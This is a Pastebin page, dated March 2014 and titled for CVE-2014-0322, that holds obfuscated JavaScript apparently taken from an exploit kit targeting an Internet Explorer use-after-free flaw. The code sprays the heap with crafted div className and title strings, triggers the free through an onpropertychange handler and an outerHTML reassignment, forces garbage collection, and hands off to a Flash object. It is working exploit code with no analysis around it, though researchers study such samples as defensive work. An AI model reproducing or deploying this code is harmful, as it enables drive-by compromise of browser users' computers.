Advertisement
Kafeine

infinity_CVE-2014-0322

Mar 24th, 2014
665
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. carp = null;
  2.  
  3. function burp(j, r) {
  4.     var y;
  5.     y = j.toString(16);
  6.     while (y.length < r) {
  7.         y = '0' + y
  8.     }
  9.     return y
  10. }
  11.  
  12. function neat(k) {
  13.     var l, j;
  14.     l = k & 0xFFFF;
  15.     j = (k >> 16) & 0xFFFF;
  16.     return unescape('%u' + burp(l, 4) + '%u' + burp(j, 4))
  17. }
  18. sham = new Array(0x250);
  19.  
  20. function spar() {
  21.     var r, i, g, m;
  22.     g = 0;
  23.     r = neat(0xdeadc0de);
  24.     m = 0x0f002000;
  25.     while (r.length < 0x360) {
  26.         if (r.length == (0x94 / 2)) {
  27.             r += neat(m + 0x10 - 0x0c)
  28.         } else if (r.length == (0x98 / 2)) {
  29.             r += neat(m + 0x14 - 0x8)
  30.         } else if (r.length == (0xac / 2)) {
  31.             r += neat(m - 0x0e)
  32.         } else if (r.length == (0x15c / 2)) {
  33.             r += neat(0x42424242)
  34.         } else {
  35.             r += neat(m - 0x0e)
  36.         }
  37.     }
  38.     i = r.substring(0, (0x340 - 2) / 2);
  39.     for (g = 0; g < sham.length; g++) {
  40.         sham[g] = document.createElement('div');
  41.         sham[g].className = i.substring(0, i.length)
  42.     }
  43.     try {
  44.         this.outerHTML = this.outerHTML
  45.     } catch (exc) {}
  46.     CollectGarbage();
  47.     for (g = 0; g < sham.length; g++) {
  48.         sham[g].title = i.substring(0, i.length)
  49.     }
  50. }
  51.  
  52. function grask2() {
  53.     var v, a, x;
  54.     try {
  55.         a = document.getElementsByTagName('script');
  56.         v = a[0];
  57.         v.onpropertychange = spar;
  58.         x = document.createElement('SELECT');
  59.         x = v.appendChild(x);
  60.         window['swf_id'].wombt(carp)
  61.     } catch (exc) {}
  62. }
  63.  
  64. function lien(r) {
  65.     var d;
  66.     d = document.createElement('div');
  67.     document.body.appendChild(d);
  68.     d.innerHTML = r
  69. }
  70.  
  71. function jestn4(c, t) {
  72.     carp = c;
  73.     lien(t)
  74. };;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement